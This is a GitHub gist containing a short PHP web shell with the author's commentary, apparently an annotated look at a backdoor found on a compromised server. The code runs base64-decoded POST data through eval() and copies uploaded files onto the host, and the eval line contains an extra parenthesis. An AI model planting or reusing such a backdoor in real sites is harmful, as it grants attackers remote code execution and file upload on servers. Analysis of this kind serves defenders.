Skip to content

Instantly share code, notes, and snippets.

@d0n601
Created July 10, 2018 19:21
Show Gist options
  • Save d0n601/c33c4c127d118e42c9df69e0ce936aaf to your computer and use it in GitHub Desktop.
Save d0n601/c33c4c127d118e42c9df69e0ce936aaf to your computer and use it in GitHub Desktop.
<?php
echo 7457737+736723; // Still probably an id of some sort.
eval(base64_decode(($_POST[id])); // Decodes POST['id'], that becomes the file name given to the eval() function.
// Probably an 'all good' response from the remote server.
if( $_POST['up'] == 'up') {
@copy($_FILES['file']['tmp_name'], $_FILES['file']['name']); // Malicious files from remote server copied to host.
}
?>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment